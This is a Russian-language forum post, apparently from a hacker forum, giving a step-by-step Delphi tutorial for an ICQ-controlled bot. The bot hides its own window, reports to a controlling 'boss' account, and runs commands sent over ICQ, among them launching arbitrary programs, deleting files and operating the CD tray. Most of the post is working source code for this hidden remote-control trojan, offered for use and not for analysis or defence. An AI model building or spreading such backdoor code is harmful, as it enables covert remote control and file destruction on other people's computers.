xakerOK | Дата: Суббота, 08.05.2010, 12:17 | Сообщение № 1 |
Сержант
Группа: Администраторы
Сообщений: 21
Репутация: 256
Статус: Offline
| Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!! Начнем!!! Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так: Code unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ICQClient, StdCtrls;
type TForm1 = class(TForm) Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Button2: TButton; ICQClient1: TICQClient; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял! Давайте напишем, что будет делать программа, при нажатии буттон 1! Но перед этим, объявите глобальную переменную boss integer! Code implementation
{$R *.dfm} var boss:integer; //Глобальная переменная procedure TForm1.Button1Click(Sender: TObject); begin IcqClient1.UIN := strtoint(Edit1.text); //Из первого едита берем уин бота IcqClient1.Password := Edit2.Text; //Из второго едита берем пасс от бота boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3 IcqClient1.Login(); //коннектимся.... end; Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе Code procedure TForm1.ICQClient1Login(Sender: TObject); begin
end; Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online'); Прекрасно...Теперь если будет коннект, то нам пришлют сообщ Code procedure TForm1.ICQClient1Login(Sender: TObject); begin IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн! end; Так теперь пропишем процедуру button2click, я предлагаю сделать программу хайд! application.ShowMainForm := false; Code procedure TForm1.Button2Click(Sender: TObject); begin application.ShowMainForm := false;//скроемся! end; Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!! Должно у вас в сурсе выглядеть так - Code procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); begin
end; Объявим переменную cmd строковой!var cmd:string; Теперь давайте составим комманды!! Code *help - help *start - Это у нас будет стартовать проги *deletefile - это у нас будет удалять проги *Cd_open - открывает смдюк //для этого добавьте в uses MMSystem; *Cd_close - закрывает сидюк Давайте пропишем!!! Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд! Code cmd := msg; if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+ '*help - help'+#13#10+ '*start - Это у нас будет стартовать проги'+#13#10+ '*deletefile -это у нас будет удалять проги'+#13#10+ '*Cd_open - открывает смдюк '+#13#10+ '*Cd_close - закрывает сидюк'); Я думаю уже все поняли как строить запросы)Давайте по порядку!!!! Начнем со *start! Вот тут я думаю будет интересно!! Нам надо понять что это *start и какая-то прога!!Помнится есть copy() Code if copy(cmd,1,pos(' ',cmd)-1) = '*start' Теперь давайте пропишем что должен делать!! Code WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки! IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд Теперь давайте *Deletefile принцип как и у *start Code if copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд begin deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил ! IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд! end; Так у нас уже 3 комманды*help *start *deletefile Давайте уже пропишем чтоб закрывал сидюк и открывал.... Тут все просто просто если cmd = '*Cd_open' то открыть сидюк! Code if cmd='*Cd_open' then begin mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем IcqClient1.SendMessage(boss,cmd+' done'); end;
if cmd='*Cd_close' then begin mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем IcqClient1.SendMessage(boss,cmd+' done'); end; Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...
|
|
| |